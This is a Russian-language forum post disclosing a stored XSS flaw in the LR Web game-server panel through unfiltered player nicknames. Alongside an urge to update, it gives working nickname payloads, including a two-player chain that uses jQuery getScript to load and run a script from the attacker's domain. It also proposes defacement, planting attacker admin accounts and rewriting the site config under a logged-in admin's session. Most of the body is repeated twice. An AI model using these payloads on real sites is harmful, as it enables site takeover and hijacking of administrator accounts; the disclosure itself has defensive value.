xtance
Участник
- Сообщения
- 513
- Реакции
- 743
Хз, я думал снять видос на эту тему, но это может вызвать хаос на серверах, так что просто оставлю это здесь..
Если у вас LR Web, это определённо для вас
Итак при каждом заходе на сайт подгружаются игроки с мониторинга в таблицу:

Которая даже не показывается пока не нажмёшь на "подключиться", зачем неясно, но это не главное
Таблица игроков вместе с их именами формируется динамически безо всякой фильтрации левых символов
К чести разработчиков веб-части, это уже пофикшено в марте (но 90% проектов не обновилось)
Если вы уже поняли про что будет дальше, обновитесь как можно скорее (например: сейчас)
...Начнём с чего-то простенького, заливаем код в ник
Мы ограничены 32 символами!
Поэтому не закрываем тэг, не используем кавычки, и вызываем функции js через обратные кавычки вместо скобок
Ник ниже занимает 27 символов...
Заходим и проверяем страницу (проверялось на сайте знакомого человека, без вопросов)
Обход в ограничение на символы (нужно 2 человека или супер короткий домен)
Первый ставит ник: <style/onload=a=$.getScript> , тем самым присваивая переменной "a" функцию getScript из JQuery, который есть в панельке
Второй ставит ник: <style/onload=a`//ваш.сайт/a.js`> , тем самым загружая скрипт с произвольного домена (на https) и выполняя скрипт на нём
К слову короткие домены не такие уж и дорогие, раз даже @xtance смог себе позволить
И очевидно что первый игрок должен быть "выше" в таблице очков чем второй, но если на проекте 2 сервера это не проблема
Ну и дальше уже на что хватит фантазии и наглости т.к. весь JSв ваших руках на вашей VPS
К тому времени как главный админ полезет на сайт смотреть, почему там прон на весь экран, можно будет покопаться в исходниках и узнать, как записать свои данные ему в конфиг сайта, подменить БД на свою со своими админками, и т.д., если админ залогинен это всё радостно выполнится от его имени
И на случай срача:
Я не имею ничего против LR Web, в моей панели кто-то нашёл такую же XSS и тут пришло в голову поискать её в других
Обновляемся ёкарный бабай:
Проблемная строчка в /app/modules/module_block_main_servers_monitoring/assets/js/4.js и если так влом обновлять целиком, ее можно скопипастить к себе в веб отсюда ручками
Если у вас LR Web, это определённо для вас
Итак при каждом заходе на сайт подгружаются игроки с мониторинга в таблицу:

Которая даже не показывается пока не нажмёшь на "подключиться", зачем неясно, но это не главное
Таблица игроков вместе с их именами формируется динамически безо всякой фильтрации левых символов
К чести разработчиков веб-части, это уже пофикшено в марте (но 90% проектов не обновилось)
Если вы уже поняли про что будет дальше, обновитесь как можно скорее (например: сейчас)
...Начнём с чего-то простенького, заливаем код в ник
Мы ограничены 32 символами!

Ник ниже занимает 27 символов...
Заходим и проверяем страницу (проверялось на сайте знакомого человека, без вопросов)
Обход в ограничение на символы (нужно 2 человека или супер короткий домен)
Первый ставит ник: <style/onload=a=$.getScript> , тем самым присваивая переменной "a" функцию getScript из JQuery, который есть в панельке
Второй ставит ник: <style/onload=a`//ваш.сайт/a.js`> , тем самым загружая скрипт с произвольного домена (на https) и выполняя скрипт на нём
К слову короткие домены не такие уж и дорогие, раз даже @xtance смог себе позволить
И очевидно что первый игрок должен быть "выше" в таблице очков чем второй, но если на проекте 2 сервера это не проблема
Ну и дальше уже на что хватит фантазии и наглости т.к. весь JS
К тому времени как главный админ полезет на сайт смотреть, почему там прон на весь экран, можно будет покопаться в исходниках и узнать, как записать свои данные ему в конфиг сайта, подменить БД на свою со своими админками, и т.д., если админ залогинен это всё радостно выполнится от его имени

JavaScript:
$.post( domain + "/app/includes/js_controller.php", {
function: "add_conection",
... * полёт фантазии *
});
И на случай срача:
Я не имею ничего против LR Web, в моей панели кто-то нашёл такую же XSS и тут пришло в голову поискать её в других
Обновляемся ёкарный бабай:
Проблемная строчка в /app/modules/module_block_main_servers_monitoring/assets/js/4.js и если так влом обновлять целиком, ее можно скопипастить к себе в веб отсюда ручками
Последнее редактирование: